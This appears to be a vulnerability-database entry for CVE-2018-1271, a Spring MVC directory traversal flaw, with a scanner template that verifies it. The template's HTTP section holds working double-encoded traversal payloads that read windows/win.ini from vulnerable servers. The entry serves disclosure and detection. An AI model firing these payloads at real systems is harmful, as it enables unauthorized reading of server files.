CVE-2018-1271: Spring MVC Framework - Local File Inclusion

日期: 2025-08-01 | 影响软件: Spring MVC Framework | POC: 已公开

漏洞描述

Spring MVC Framework versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported are vulnerable to local file inclusion because they allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). A malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.

PoC代码[已公开]

id: CVE-2018-1271

info:
  name: Spring MVC Framework - Local File Inclusion
  author: hetroublemakr
  severity: medium
  description: Spring MVC Framework versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported are vulnerable to local file inclusion because they allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). A malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches and updates provided by the Spring MVC Framework to mitigate this vulnerability.
  reference:
    - https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
    - https://pivotal.io/security/cve-2018-1271
    - https://access.redhat.com/errata/RHSA-2018:1320
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1271
    - http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2018-1271
    cwe-id: CWE-22
    epss-score: 0.90926
    epss-percentile: 0.99619
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: vmware
    product: spring_framework
  tags: cve,cve2018,spring,lfi,traversal,vmware

http:
  - method: GET
    path:
      - '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
      - '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'for 16-bit app support'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e8f10c5d68ef9f1d915ba6a4fa19d35641d1bfb1184feb22d20477abca68264202201032b2f1e509b23a0f66d0443885493b83428144411830f162b0e34a9db69d24:922c64590222798bb761d5b6d8e72950